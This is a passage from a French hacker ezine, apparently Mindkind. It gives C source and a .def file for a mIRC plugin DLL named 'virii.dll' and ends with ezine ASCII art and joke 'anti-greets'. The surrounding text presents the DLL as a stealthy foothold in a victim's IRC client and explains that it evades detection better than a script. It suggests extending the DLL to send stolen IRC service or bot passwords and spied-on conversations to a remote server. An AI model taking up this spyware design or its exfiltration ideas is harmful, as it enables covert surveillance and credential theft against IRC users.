// fonction callback que le timer va exécuté tout les X millisecondes
VOID CALLBACK ParseFile(
HWND hwnd, // handle to window for timer messages
UINT message, // WM_TIMER message
UINT idTimer, // timer identifier
DWORD dwTime) // current system time
{
HANDLE hFile;
TCHAR tcsBuffer[1025];
DWORD nbBytesRead;
TCHAR *ptcsCLoc, *ptcsDataTemp;
DWORD dwPos = 0;
// ouverture du fichier
hFile = CreateFile(tscFileName,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_RANDOM_ACCESS,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
DebugError("CreateFile()");
return;
}
while (TRUE)
{
// initialise le buffer temporaire à zero
ZeroMemory(tcsBuffer,1025);
// lis un certains nombre de données dans le fichier
ReadFile(hFile,tcsBuffer,1024,&nbBytesRead,&olstruct);
if (!nbBytesRead)
{
DebugError("ReadFile()");
break; // EOF
}
// alloue ou réalloue la mémoire du buffer qui garde les données
// entre chaque lecture
if (!ptcsData)
ptcsDataTemp = (TCHAR*)VirtualAlloc((LPVOID)NULL,
nbBytesRead,
MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
else
ptcsDataTemp = (TCHAR*)VirtualReAlloc((LPVOID)ptcsData,
dwDataSize+nbBytesRead);
if (!ptcsDataTemp)
break; // VirtualAlloc() ou VirtualReAlloc() à échoué
ptcsData = ptcsDataTemp;
// copie les données du buffer temporaire au buffer global
CopyMemory(ptcsData+dwDataSize,tcsBuffer,nbBytesRead);
// mise à jour de la dimension du buffer global
dwDataSize += nbBytesRead;
// garde l'offset courant en mémoire pour la prochaine lecture
olstruct.Offset += nbBytesRead;
}
// pour chaque ligne (chaine délimitée par le caractère 'Newline')
while (ptcsCLoc = ltcschr(ptcsData,_T('\n')))
{
// calcule la longueur de la chaîne
dwPos = (DWORD)(ptcsCLoc - ptcsData);
// affiche la chaîne
if (SUCCEEDED(StringCchCopyN(tcsBuffer,1024,ptcsData,dwPos)))
{
MessageBox(hmIRC,tcsBuffer,_T("moo"),MB_OK);
}
// déplace le reste des données au début du buffer
MoveMemory(ptcsData,ptcsCLoc,dwDataSize-dwPos);
// redimensionne le buffer
ptcsDataTemp = (TCHAR*)VirtualReAlloc(ptcsData,dwDataSize-dwPos);
// si VirtualReAlloc() réussie
if (ptcsDataTemp)
{
// ... on garde la nouvelle adresse du buffer
ptcsData = ptcsDataTemp;
// .. on met à jour sa taille
dwDataSize -= dwPos;
}
// sinon
else
// on met à zéro la fin du buffer
ZeroMemory(ptcsData+(dwDataSize-dwPos), dwPos);
}
// on ferme le fichier
CloseHandle(hFile);
}
// Comme j'utilise VirtualAlloc pour alloué de l'espace mémoire et que il ne
// semble pas existé de fonction pour redimensionner de la mémoire dans la
// famille des Virtual*, j'ai du en faire une moi-même.
//
// NOTE:
// Cette fonction n'est pas très optimisée, et je crois qu'il y a un moyen de
// gardé la même adresse de base mais je ne me suis pas vraiment arrêté la
// dessus.
LPVOID VirtualReAlloc(
LPVOID lpAddress,
SIZE_T dwSize)
{
LPVOID lpNewAddress;
MEMORY_BASIC_INFORMATION mbi;
lpNewAddress = (LPVOID)NULL;
if (!lpAddress || dwSize <= 0)
{
return (LPVOID)NULL;
}
if (VirtualQuery(lpAddress,&mbi,sizeof(mbi)) < sizeof(mbi))
{
return (LPVOID)NULL;
}
if (!(lpNewAddress = VirtualAlloc((LPVOID)NULL,
dwSize,mbi.State,mbi.AllocationProtect)))
{
return (LPVOID)NULL;
}
CopyMemory(lpNewAddress,lpAddress,min(mbi.RegionSize,dwSize));
VirtualFree(lpAddress,0,MEM_RELEASE);
return lpNewAddress;
}
// mon équivalent de strchr() mais pour les TCHAR*
TCHAR *ltcschr(const TCHAR *string,TCHAR c)
{
TCHAR *tcsPos;
if (!string)
return (TCHAR*)NULL;
tcsPos = (TCHAR*)string;
while (tcsPos && *(tcsPos = CharNext(tcsPos)))
{
if (tcsPos[0] == c) return tcsPos;
}
return (TCHAR*)NULL;
}
// fonction très LAME et très NON optimisé qui émule une partie de la
// fonctionnalité de itoa() mais pour les TCHAR*
TCHAR *litotcs(int value,TCHAR *buffer)
{
TCHAR tcsNumeric[] = _T("0123456789"); // tableau de conversion
TCHAR c;
int i, j = 0;
// si le buffer est non valide
if (!buffer)
return (TCHAR*)NULL;
// si le nombre est négatif, rajouter le signe '-' devant le nombre
if (value < 0)
{
buffer[j] = _T('-');
++j;
}
// BIG MESS que je veux pas expliquer, mais 'long story short' la boucle
// 'do while' traduit le nombre en chaine, mais produit l'effet miroir.
// Donc si mon nombre est:
// 1234
// cette bloucle la traduit comme suit:
// 4321
// La dernière boucle, 'while', règle se problème en remettant les nombres
// le bon ordre.
do
{
i = value % 10;
buffer[j] = tcsNumeric[i];
value /= 10;
++j;
} while (value);
buffer[j] = 0;
--j;
i = 0;
while (j >=0 && j > i)
{
c = buffer[j];
buffer[j] = buffer[i];
buffer[i] = c;
--j;
++i;
}
// retourne l'adresse du buffer
return buffer;
}
// fonction qui explique ce qui à mal tourné si la DLL est compilée
// en mode DEBUG
void DebugError(LPTSTR lpszFunction)
{
#if defined(_DEBUG)
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40)
*sizeof(TCHAR));
wsprintf((LPTSTR)lpDisplayBuf,
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
#endif
}
La DLL 'virii.dll' fait très peu de chose, mais vous montre un peu le
ce que vous pouvez faire. Elle commence par initialiser quelque variable
et ensuite lance un 'timer' qui va exécuter une fonction callback, ici
'ParseData', toutes les 120 secondes. 'ParseData' ouvre le fichier passé en
paramètre plutôt et lis le contenu qui s’y trouve. Elle garde en mémoire
l'offset pour ne pas relire les mêmes données. Puis elle les conserve dans
un buffer ('ptcsData'). Ensuite elle tente de trouver des chaines qui se
terminent avec le caractère 'Newline'. Pour chaque ligne trouvée, elle les
affiche dans un MessageBox. Lorsque mIRC décharge la DLL, elle s'assure
de libérer les espaces mémoire qu'elle à alloué. OMG! J'allais presque
oublier. Vous devrez surement créer un fichier .def sinon mIRC ne trouvera
pas les fonctions que vous voudrez exécuter. mIRC s'attend à avoir des
fonctions suivant la convention __stdcall*, mais par défaut Visual Studio
utilise la convention __cdecl*. Donc vous nom de fonction vont être
à la compilation. Prenons la fonction 'initDll', après compilation elle se
nommera '_initDll@24'. Le fichier .def vous permet de créer des alias. On
pourra donc créer un alias 'initDll' pour la fonction '_initDll@24'. Règle
générale, le nombre apres le '@' c'est simplement le nombre de paramètres
que prend votre fonction, multipliée par 4. 'initDll' prend 6 paramètres,
donc 6*4 = 24. 'UnloadDll' et LoadDll' prennent un seul paramètre, donc
1*4 = 4. Voici le .def si vous en avez besoin.
//=--------------------- virii.def -----------------------=
LIBRARY virii
EXPORTS
LoadDll = _LoadDll@4
UnloadDll = _UnloadDll@4
initDll = _initDll@24
//=-------------------------------------------------------=
La DLL est très non pratique, mais avec quelques modifications, vous
pouvez la faire se connecter sur un serveur quelconque et transmettre les
données que vous jugez intéressantes. Vous pouvez regarder pour des password
utilisés auprès des services de certains serveur IRC (x pour undernet) ou
pour des passwords de bots. Vous pouvez espionner des conversations sur
des canaux en particulier, etc. Les idées de manque pas.
Les avantages d'utiliser une DLL est d'abord et avant tout le contrôle
qu'elle nous donne. Ensuite la vitesse de traitement; vous pouvez donc
effectuer plus de manipulation que la victime ressente un ralentissement
au niveau du programme. Et bien sûr, c'est beaucoup plus furtif. Si on
compare avec l'exemple précédent (le script), la victime peut s'apercevoir
que quelque chose ne tourne pas rond via l'éditeur de script, le menu
fenêtre, via les identifiants $script et $window. Pour la DLL, seul
l'identifiant $dll peut révéler notre présence.
6. Conclusion
Enjoy!
_____ ________ ________ ______ ____ __ __ _
/____/ / // // /\ \\ \\ \ \ \ \\ \
___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \
| | | / / \
| | | | / /\ \
__|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _
__\\________\\______\\__\\____________//__//_/ /_/ // /
|\\ | | | | | / / \ \
| \\| | \___/ | / / /\ \ \
| \ \ / / / / \ \ \
\ | \_______/ / / / /\ \ \ \
__|\\ |______________/ /___/ / \ \___\ \____ ___ __ _
| \\| / / \ \
|__\. /\
topic
_________________________________________________________
|
Conclusion Wyzeman |
_________________________________________________________|
| / / |
| / / |
| / / |
| / / |
|/ / |
| / &
| / &
| / / \
|/ [ Anti-Greets ]
|
| 1) binf, pour l'ensemble de son oeuvre.
| 2) les républicains américains, pour être presque
| aussi cave que binf.
| 3) le old staff de Mindkind, pour se pogner le cul
| et vouloir un groupe actif.
| 4) les 700 fautes leguées par les auteurs du ezine,
| pcq c'est plate a corriger en sacrament.
| 5) h3, pour ne pas avoir livré le design html du ezine
| a temps et avoir forcé Ninja a en faire un de fortune.
| 6) Qwzykx, pour ne pas avoir livré la conclusion
| alors que yavais juste a la copier paster quelque
| par.
| 7) les sage squaw, pour le port de la moustache.
| 8) les imbéciles, qui demande un whopper Jr sans ognion
| avec une rondelle d'ognion à la place du frite,
| pcq c'est cave.
| 9) les Francais qui se sentent personnellement attaqués
| quand ils voient une faute d'orthographe, pcq c'est
| cave.
| 10) le ezine Rafale, pcq le nom est laite en criss.
| 11) le réchauffement de la planète, pcq ca fait 20 ans
| qu'on en parle, mais tout le monde est trop cave
| pour agir.
| 12) la mère de binf, pour binf.
| 13) les anti-greetz qui finissent pas, pcq c'est plate.
____|
Sur ce, si vous êtes triste que ça soit terminé, clicker ici